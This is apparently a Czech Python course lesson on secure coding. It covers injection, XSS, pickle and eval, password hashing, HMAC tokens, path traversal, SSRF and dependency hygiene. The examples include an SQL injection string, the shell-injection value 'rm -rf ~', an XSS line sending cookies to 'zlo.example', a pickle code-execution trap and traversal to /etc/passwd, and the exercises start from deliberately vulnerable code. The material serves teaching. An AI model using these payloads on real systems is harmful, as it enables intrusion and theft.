Lidsky řečeno
Recepční v hotelu nevpustí nikoho do pokoje jen proto, že ten člověk tvrdí, že tam bydlí. Podívá se do knihy a chce doklad. Program by se měl chovat stejně: všechno, co přichází zvenčí, je jen tvrzení, dokud to neověří. Většina bezpečnostních chyb začíná tím, že kód cizímu tvrzení uvěřil.
Komu věříš
Vstup z venku je všechno, co neurčil tvůj kód: formulář, adresa, hlavička, nahraný soubor, odpověď cizího API, řádek v databázi, který kdysi zadal uživatel, i název souboru. Místo, kde taková data vstupují do tvého systému, se říká hranice důvěry.
Skoro všechny útoky v této lekci mají stejný vzorec. Data se dostanou do místa, kde se chápou jako příkaz:
| Kam se data dostala | Útok | Obrana |
|---|---|---|
| SQL dotaz | SQL injection | parametry ? |
| příkaz shellu | command injection | seznam argumentů, bez shell=True |
| HTML stránka | XSS | escapování, šablony |
pickle, eval | spuštění kódu | formát bez kódu, například JSON |
| cesta k souboru | path traversal | ověření cílové složky |
| adresa, kterou stahuje server | SSRF | povolené cíle |
Injekce: když se z dat stane příkaz
Klasika. Přihlášení, kde se e-mail vlepí do SQL přes f-string. Útočník napíše text, který změní význam dotazu:
import sqlite3
conn = sqlite3.connect(":memory:")
conn.execute("CREATE TABLE users (email TEXT, role TEXT)")
conn.executemany("INSERT INTO users VALUES (?, ?)", [
("[email protected]", "admin"),
("[email protected]", "user"),
])
attack = "[email protected]' OR '1'='1"
query = f"SELECT email, role FROM users WHERE email = '{attack}'"
print("Dotaz:", query)
print("F-string:", conn.execute(query).fetchall())
safe = conn.execute("SELECT email, role FROM users WHERE email = ?", (attack,))
print("Parametr:", safe.fetchall())
Dotaz: SELECT email, role FROM users WHERE email = '[email protected]' OR '1'='1' F-string: [('[email protected]', 'admin'), ('[email protected]', 'user')] Parametr: []
S parametrem ? jde hodnota do databáze odděleně od textu dotazu, takže apostrof zůstane obyčejným znakem. Nejde o „očištění“ vstupu: databáze ho jako SQL vůbec nečte.
Parametrem ale nejde nahradit jméno sloupce ani ASC a DESC. Řazení podle volby uživatele se řeší seznamem povolených hodnot:
Bezpečné dotazy
Oprav obě funkce:
find_user(conn, email)vrátí řádek(email, role)neboNone, s parametrem místo f-stringu,list_users(conn, sort)vrátí všechny řádky seřazené podle sloupcesort. Povolené jsou jenemailarole. Pro cokoli jiného vyhoďValueError.
import sqlite3
conn = sqlite3.connect(":memory:")
conn.execute("CREATE TABLE users (email TEXT, role TEXT)")
conn.executemany("INSERT INTO users VALUES (?, ?)", [
("[email protected]", "admin"),
("[email protected]", "user"),
])
def find_user(conn, email):
return conn.execute(f"SELECT email, role FROM users WHERE email = '{email}'").fetchone()
def list_users(conn, sort):
return conn.execute(f"SELECT email, role FROM users ORDER BY {sort}").fetchall()
Stejný vzorec platí pro shell. Se shell=True čte řetězec interpret příkazů, a ten rozumí středníkům i $(...). Předej seznam argumentů a shell se vůbec nespustí:
import subprocess
host = request_value # například "example.com; rm -rf ~"
# NIKDY: shell přečte i to, co je za středníkem
subprocess.run(f"ping -c 1 {host}", shell=True)
# Správně: host je jeden argument, ať obsahuje cokoli
subprocess.run(["ping", "-c", "1", "--", host], check=True, timeout=5)-- říká, že dál už nejsou přepínače. Bez něj by hodnota začínající pomlčkou mohla být přečtena jako volba programu, a to seznam argumentů nevyřeší. Oddělovač ale nezná každý program, ověř si to v jeho dokumentaci.
Do HTML se cizí text vkládá vždy escapovaný. Jinak by se ve stránce mohl spustit skript v prohlížeči jiného uživatele (cross-site scripting, XSS). Šablonovací systém Jinja2 to v autoescape režimu dělá sám, ručně slouží html.escape:
import html
comment = '<script>fetch("https://zlo.example/?c=" + document.cookie)</script>'
print(html.escape(comment))
<script>fetch("https://zlo.example/?c=" + document.cookie)</script>
Proč parametr ? chrání před SQL injection?
Dotaz se zpracuje zvlášť a hodnota se do něj dosadí jako data. Nic se nemaže ani nešifruje, apostrof v databázi zůstane.
Kód schovaný v datech
pickle umí uložit téměř libovolný objekt. Aby ho dokázal obnovit, může soubor říct „zavolej tuhle funkci s těmito argumenty“. To je pohodlné a zároveň znamená, že načtení cizího pickle spustí cizí kód. Tady je funkcí neškodný print, útočník by použil os.system.
import pickle
class Trap:
def __reduce__(self):
return (print, ("Tohle spustil pickle.loads, ne ty.",))
payload = pickle.dumps(Trap())
print("Velikost dat:", len(payload), "bajtů")
result = pickle.loads(payload)
print("Výsledek:", result)
Velikost dat: 74 bajtů Tohle spustil pickle.loads, ne ty. Výsledek: None
Žádná kontrola po načtení nepomůže, protože všechno se stalo během loads. Týká se to i formátů postavených na pickle: souborů .pt z PyTorche načítaných s weights_only=False, joblib a pandas.read_pickle. Cizí data čti přes JSON nebo jiný formát, který umí popsat jen data. U YAML vždy yaml.safe_load, nikdy yaml.load s nebezpečným loaderem.
Totéž platí pro eval a exec. Když potřebuješ jen převést text na číslo nebo seznam, je tu ast.literal_eval. Ten přijme pouze literály.
import ast
print(ast.literal_eval("[1, 2, {'a': 3}]"))
try:
ast.literal_eval("__import__('os').getcwd()")
except ValueError as error:
print("Odmítnuto:", type(error).__name__)
[1, 2, {'a': 3}]
Odmítnuto: ValueErrorMéně známá past je str.format se šablonou od uživatele. Formátovací jazyk umí chodit po atributech a klíčích, takže šablona se dostane až ke globálním proměnným modulu:
from string import Template
SECRET_KEY = "super-tajny-klic"
class User:
def __init__(self, name):
self.name = name
template = "{user.__init__.__globals__[SECRET_KEY]}"
print("format:", template.format(user=User("Eva")))
safe = Template("Ahoj, $name! $user.__init__")
print("Template:", safe.safe_substitute(name="Eva"))
format: super-tajny-klic Template: Ahoj, Eva! $user.__init__
string.Template umí jen prosté dosazení jmen, proto se pro šablony od uživatelů hodí.
Pod kapotou · méně nápadné způsoby, jak shodit službu
Dostupnost je taky bezpečnost a Python má pár míst, kde malý vstup stojí hodně práce.
Převod velkých čísel. Převod textu na int je kvadratický, takže od verze 3.11 platí limit 4300 číslic (CVE-2020-10735). Parser JSONu používá stejný převod, takže ho limit chrání taky.
import json
import sys
print(sys.get_int_max_str_digits())
try:
json.loads("1" * 5000)
except ValueError as error:
print(type(error).__name__)
4300 ValueError
ReDoS. Výraz jako (a+)+$ má na nevyhovujícím vstupu exponenciální zpětné vyhledávání. Modul re žádný časový limit nemá. Od 3.11 pomáhají atomické skupiny (?>...) a posesivní kvantifikátory a++. Na cizí vstup dej limit délky nebo použij engine s lineární zárukou, například google-re2.
XML. Moduly xml.* dokumentace varuje před nedůvěryhodnými daty. Pro cizí XML použij defusedxml.
Hash flooding. Řetězce mají náhodný seed hashe (PYTHONHASHSEED), a proto záměrně kolidující klíče slovník nezpomalí. Celá čísla ale náhodný hash nemají: hash(n) je pro malá n rovno n, takže klíče v JSONu převáděné na int si zaslouží limit počtu.
Hesla a tokeny
Hesla se neukládají. Ukládá se jejich otisk (hash): jednosměrný výpočet, ze kterého původní text nezískáš. Obyčejný SHA-256 je ale pro hesla špatně, protože je rychlý a útočník s grafickou kartou jich zkusí miliardy za sekundu. Hesla potřebují funkci záměrně pomalou a náročnou na paměť a náhodnou sůl, aby dva lidé se stejným heslem neměli stejný otisk.
Standardní knihovna nabízí hashlib.scrypt:
import hashlib
import hmac
import secrets
N, R, P = 2**14, 8, 1 # low cost so the demo is quick
def derive(password, salt, n, r, p):
return hashlib.scrypt(password.encode(), salt=salt, n=n, r=r, p=p, dklen=32)
def hash_password(password):
salt = secrets.token_bytes(16)
digest = derive(password, salt, N, R, P)
return f"scrypt${N}${R}${P}${salt.hex()}${digest.hex()}"
def verify_password(password, stored):
_, n, r, p, salt, digest = stored.split("$")
candidate = derive(password, bytes.fromhex(salt), int(n), int(r), int(p))
return hmac.compare_digest(candidate, bytes.fromhex(digest))
first = hash_password("kůň baterie sponka")
second = hash_password("kůň baterie sponka")
print("Parametry:", first.split("$")[:4])
print("Stejné heslo, stejný otisk?", first == second)
print("Správné heslo:", verify_password("kůň baterie sponka", first))
print("Špatné heslo:", verify_password("kun baterie sponka", first))
Parametry: ['scrypt', '16384', '8', '1'] Stejné heslo, stejný otisk? False Správné heslo: True Špatné heslo: False
Parametry jsou uložené přímo v otisku. Až je časem zpřísníš, stará hesla půjde dál ověřit a po úspěšném přihlášení přepočítat.
Pod kapotou · co použít v produkci
Doporučení OWASP je Argon2id. V Pythonu ho dává balík argon2-cffi, který řeší sůl, formát i kontrolu zastaralých parametrů:
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
hasher = PasswordHasher()
stored = hasher.hash(password)
try:
hasher.verify(stored, password)
except VerifyMismatchError:
deny_login()
else:
if hasher.check_needs_rehash(stored):
save(hasher.hash(password))Když zůstaneš u scrypt, OWASP uvádí n=2**17, r=8, p=1. To je asi 128 MiB na jedno ověření, takže musíš zvýšit maxmem (výchozí limit OpenSSL je 32 MiB) a omezit souběh, jinak se z přihlašování stane nástroj na vyčerpání paměti. PBKDF2 přes hashlib.pbkdf2_hmac je přijatelný hlavně kvůli FIPS, s SHA-256 aspoň 600 000 iterací, a grafickým kartám vzdoruje hůř. bcrypt čte jen prvních 72 bajtů hesla.
Pozor na Unicode: é může být jeden znak, nebo e s kombinujícím znakem. Na různých zařízeních pak stejné heslo dá jiné bajty, proto ho před hashováním normalizuj přes unicodedata.normalize("NFKC", heslo). Přihlášení omez limitem pokusů a odpovídej stejně při neznámém účtu i špatném hesle, jinak útočník zjistí, které e-maily u tebe existují.
API tokeny jsou jiný případ. Generuje je počítač, mají dost náhody a nelze je uhodnout ze slovníku. Stačí proto rychlý SHA-256. Do databáze jde otisk, takže únik databáze neprozradí platné tokeny.
import hashlib
import hmac
import secrets
def new_token():
token = "sk_" + secrets.token_urlsafe(32)
return token, hashlib.sha256(token.encode()).hexdigest()
def check_token(token, stored_hash):
candidate = hashlib.sha256(token.encode()).hexdigest()
return hmac.compare_digest(candidate, stored_hash)
token, stored = new_token()
print("Délka tokenu:", len(token))
print("Správný:", check_token(token, stored))
print("Špatný:", check_token("sk_uhodnuto", stored))
Délka tokenu: 46 Správný: True Špatný: False
Dvě věci stojí za pozornost. Náhoda pro cokoli bezpečnostního pochází ze secrets, nikdy z random, jehož další hodnoty lze dopočítat. A tajné hodnoty se neporovnávají přes ==, protože to skončí u prvního rozdílného znaku a podle času odpovědi se dá hádat. hmac.compare_digest trvá stejně dlouho, ať se liší kdekoli.
Když chceš, aby klient nesl data, která nemůže změnit, podepíšeš je. HMAC je podpis pomocí tajného klíče: bez klíče ho nikdo nevyrobí a každá změna dat ho zneplatní. Webhooky platebních bran fungují právě tak.
Podepsaný token
Napiš dvě funkce:
create_token(user_id, expires_at, key)vrátí text"user_id.expires_at.podpis". Podpis je HMAC-SHA256 z"user_id.expires_at"s klíčemkey(bajty), zapsaný přeshexdigest().verify_token(token, key, now)vrátíuser_idjakoint, když je token platný anow < expires_at. Jinak vrátíNone. Nesmí spadnout na nesmyslném vstupu a podpis porovná přeshmac.compare_digest.
import hashlib
import hmac
def create_token(user_id, expires_at, key):
return f"{user_id}.{expires_at}."
def verify_token(token, key, now):
user_id, expires_at, signature = token.split(".")
return int(user_id)
Pod kapotou · proč HMAC, a ne sha256(klíč + data)
SHA-256 je konstrukce Merkle-Damgård: výstup je vnitřní stav. Kdo zná sha256(klíč + zpráva) a délku klíče, může pokračovat a spočítat platný otisk pro zpráva + výplň + cokoli, aniž klíč zná. To je length extension. HMAC hashuje dvakrát s odvozenými klíči, a proto tímto netrpí.
Druhá past je nejednoznačné kódování. Podpis nad f"{a}{b}" nerozezná ("ab", "c") a ("a", "bc"). Oddělovač pomáhá jen tehdy, když se v hodnotách nemůže objevit. V úkolu je user_id číslo, obecně podepisuj kanonickou formu, třeba json.dumps(data, sort_keys=True, separators=(",", ":")).
Vlastní formát tokenů do produkce nepatří. Používáš-li JWT, ověřuj přes PyJWT s pevným seznamem algoritmů, jwt.decode(token, key, algorithms=["HS256"]), a kontroluj exp, aud a iss. Algoritmus se nikdy nesmí brát z hlavičky tokenu, to je základ útoků typu alg: none a záměny RS256 za HS256. A JWT není šifrované: obsah přečte každý.
Soubory a adresy od uživatele
Když si uživatel řekne o soubor ../../etc/passwd, skládání cest ho vyvede ze složky. Absolutní cesta je ještě horší, protože Path při spojení zahodí všechno před ní. Správná obrana: cestu nejdřív vyhodnotit a pak zkontrolovat, kde skončila.
import tempfile
from pathlib import Path
with tempfile.TemporaryDirectory() as folder:
base = Path(folder).resolve()
for name in ["faktura.pdf", "2026/leden.pdf", "../tajne.txt", "/etc/passwd"]:
target = (base / name).resolve()
print(f"{name:16}", target.is_relative_to(base))
faktura.pdf True 2026/leden.pdf True ../tajne.txt False /etc/passwd False
Strážce složky
Napiš safe_path(base, name). Vrátí úplnou vyhodnocenou cestu k souboru uvnitř složky base. Když by cesta vedla mimo, vyhoď ValueError.
from pathlib import Path
def safe_path(base, name):
return Path(base) / name
Archivy mají stejný problém. Položka v taru se může jmenovat ../neco. Metoda extractall má proto parametr filter. Hodnota "data" odmítne cesty ven i nebezpečné položky. Když ho v 3.12 vynecháš, dostaneš jen varování a staré, nebezpečné chování. Výchozím se "data" stalo až v Pythonu 3.14.
import io
import tarfile
import tempfile
buffer = io.BytesIO()
with tarfile.open(fileobj=buffer, mode="w") as archive:
info = tarfile.TarInfo("../utek.txt")
content = b"ahoj"
info.size = len(content)
archive.addfile(info, io.BytesIO(content))
buffer.seek(0)
with tempfile.TemporaryDirectory() as target, tarfile.open(fileobj=buffer) as archive:
try:
archive.extractall(target, filter="data")
except tarfile.FilterError as error:
print("Zastaveno:", type(error).__name__)
Zastaveno: OutsideDestinationError
Poslední z rodiny je SSRF (server-side request forgery). Aplikace nabízí „stáhni obrázek z adresy“ a útočník zadá adresu, kam se zvenku nedostane, ale tvůj server ano: vnitřní admin rozhraní nebo metadata cloudu na 169.254.169.254, kde bývají přístupové údaje. Kontrola cílové IP adresy:
import ipaddress
def is_public(raw):
ip = ipaddress.ip_address(raw)
ip = getattr(ip, "ipv4_mapped", None) or ip
return ip.is_global and not ip.is_multicast
for address in [
"93.184.216.34", "127.0.0.1", "10.0.0.5", "169.254.169.254",
"100.64.0.1", "224.0.0.1", "::1", "::ffff:127.0.0.1",
]:
print(f"{address:18}", is_public(address))
93.184.216.34 True 127.0.0.1 False 10.0.0.5 False 169.254.169.254 False 100.64.0.1 False 224.0.0.1 False ::1 False ::ffff:127.0.0.1 False
Pod kapotou · proč kontrola adresy nestačí
is_global je lepší než not is_private: rozsah 100.64.0.0/10 (carrier-grade NAT, v cloudech i vnitřní sítě) není ani privátní, ani globální. Rozbalení ipv4_mapped je nutné, protože ::ffff:127.0.0.1 je ve skutečnosti loopback a chování vlastností se mezi verzemi Pythonu měnilo.
Hlavní díra je DNS rebinding. Ověříš zlo.example, DNS vrátí veřejnou adresu, ale při samotném stažení se doména přeloží znovu a vrátí 127.0.0.1. Oprava: přelož jméno jednou, ověř všechny vrácené adresy a připoj se přímo na ověřenou IP s původní hlavičkou Host a SNI. Dále vypni automatická přesměrování, nebo každé ověř znovu, protože veřejná adresa tě může poslat na vnitřní. Parsery URL se navíc mezi knihovnami liší, takže http://a@b/ může každý chápat jinak.
Nejspolehlivější vrstva je mimo kód: odchozí proxy nebo síťová pravidla, která metadata a vnitřní rozsahy nepustí, a v AWS povinné IMDSv2.
Tajemství a závislosti
Klíče do kódu nepatří. Git si pamatuje všechno, takže smazání v dalším commitu nepomůže: uniklý klíč se musí zneplatnit a vyměnit. Lokálně se používá .env zapsaný v .gitignore, v provozu proměnné prostředí nebo správce tajemství.
Druhá cesta úniku jsou logy. Filtr v logging zamaskuje citlivé hodnoty dřív, než se zapíšou:
import logging
import re
import sys
SECRET = re.compile(r"(password|token|api_key)=\S+", re.IGNORECASE)
class RedactFilter(logging.Filter):
def filter(self, record):
record.msg = SECRET.sub(r"\1=***", record.getMessage())
record.args = ()
return True
handler = logging.StreamHandler(sys.stdout)
handler.addFilter(RedactFilter())
logger = logging.Logger("app")
logger.addHandler(handler)
logger.warning("Přihlášení: user=%s password=%s", "eva", "kun123")
logger.warning("Volám službu s token=%s", "abc.def")
Přihlášení: user=eva password=*** Volám službu s token=***
Maskování je záchranná síť. Lepší je citlivé hodnoty do logu vůbec neposílat.
Většinu kódu tvé aplikace napsal někdo jiný, proto hlídej i závislosti. Tyhle nástroje jsou zdarma a patří do CI z minulé lekce:
pip-audit -r requirements.lock # známé zranitelnosti v balících
ruff check --select S app # bezpečnostní pravidla z Banditu
gitleaks git # tajemství v historii Gitu
pip install --require-hashes -r requirements.lock # ověří otisky balíkůPod kapotou · dodavatelský řetězec a obrana do hloubky
Se zdrojovou distribucí spouští pip při sestavení cizí kód. --only-binary :all: to omezí na wheely, --require-hashes zajistí, že dostaneš přesně to, co jsi zamkl. Když máš interní balíky, pozor na dependency confusion: --extra-index-url nedává přednost tvému indexu a veřejný balík s vyšší verzí a stejným jménem vyhraje. Bezpečnější je jediný interní index, který veřejný proxuje a interní jména nikdy nepřebírá zvenku.
Žádná vrstva nebude dokonalá, proto je skládej: validace na hranici, parametrizované dotazy, databázový účet bez práva DROP, kontejner bez roota, omezený odchozí provoz. Vyplatí se znát OWASP Top 10 a pro API i OWASP API Security Top 10. Nejčastější chyba v API tam není žádná exotika, ale chybějící kontrola, jestli objekt s daným id patří tomu, kdo se ptá (BOLA/IDOR).
Z cizího serveru přišel soubor model.pkl. Co platí?
Instrukce k volání funkcí jsou součástí formátu a provedou se během načítání. Kontrola potom přichází pozdě.
Čím generovat token pro obnovu hesla?
random je předvídatelný a otisk e-mailu si spočítá každý. secrets bere náhodu ze zdroje operačního systému určeného pro kryptografii.